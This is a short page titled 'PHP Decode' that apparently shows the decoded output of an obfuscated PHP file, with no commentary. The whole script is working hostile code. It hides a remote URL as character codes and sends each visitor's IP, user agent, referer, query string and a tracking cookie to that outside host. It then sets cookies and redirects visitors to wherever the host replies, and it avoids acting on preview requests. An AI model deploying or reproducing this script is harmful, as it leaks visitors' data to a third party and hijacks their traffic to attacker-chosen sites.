PHP Decode

<?php date_default_timezone_set("UTC"); 
error_reporting(0); 
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); 
if (!(isset($_SERVER["HTTP_X_PURPOSE"]) and $_SERVER["HTTP_X_PURPOSE"] == "preview")) 
{ 
    $date = date("Y-m-d H:i:s"); 
    $id = "473017"; 
    $uid = "perg1jc15itph5irtdn1ea2cc"; 
    $qu = $_SERVER["QUERY_STRING"]; 
    $ch = curl_init(); 
    $d = array( 
        104, 
        116, 
        116, 
        112, 
        115, 
        58, 
        47, 
        47, 
        106, 
        99, 
        105, 
        98, 
        106, 
        46, 
        99, 
        111, 
        109, 
        47, 
        112, 
        99, 
        108, 
        46, 
        112, 
        104, 
        112 
    ); 
    $u = ""; 
    foreach ($d as $v) 
    { 
        $u .= chr($v); 
    } 
    $data = array( 
        "date" => $date, 
        "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], 
        "ref" => $_SERVER["HTTP_REFERER"], 
        "ip" => $_SERVER["REMOTE_ADDR"], 
        "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"], 
        "sn" => $_SERVER["SERVER_NAME"], 
        "requestUri" => $_SERVER["REQUEST_URI"], 
        "query" => $qu, 
        "ua" => $_SERVER["HTTP_USER_AGENT"], 
        "co" => $_COOKIE["_event"], 
        "user_id" => $uid, 
        "id" => $id 
    ); 
    curl_setopt($ch, CURLOPT_URL, $u); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($ch, CURLOPT_POST, true); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    $result = curl_exec($ch); 
    curl_close($ch); 
    $arr = explode(",", $result); 
    if (!empty($qu)) 
    { 
        if (strpos($arr[1], "?")) 
        { 
            $q = "&" . $qu; 
        } 
        else 
        { 
            $q = "?" . $qu; 
        } 
    } 
    else 
    { 
        $q = ""; 
    } 
    if ($arr[0] === "true") 
    { 
        if (strstr($arr[1], "sp.php")) 
        { 
            $q = "?" . $qu; 
        } 
        if (!empty($arr[7])) 
        { 
            setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9], "/"); 
        } 
        if ($arr[2]) 
        { 
            if ($arr[4] == 1 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
        header("location: " . $arr[1] . $q, true, 301); 
    } 
    elseif ($arr[0] === "false") 
    { 
        if ($arr[5]) 
        { 
            $f = $q; 
        } 
        else 
        { 
            $f = ""; 
        } 
        if ($arr[2]) 
        { 
            if ($arr[4] == 2 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
        header("location: " . $arr[1] . $f, true, 301); 
    } 
    else 
    { 
        if ($arr[2]) 
        { 
            if ($arr[4] == 2 or $arr[4] == 3) 
            { 
                setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]); 
            } 
        } 
    } 
} ?>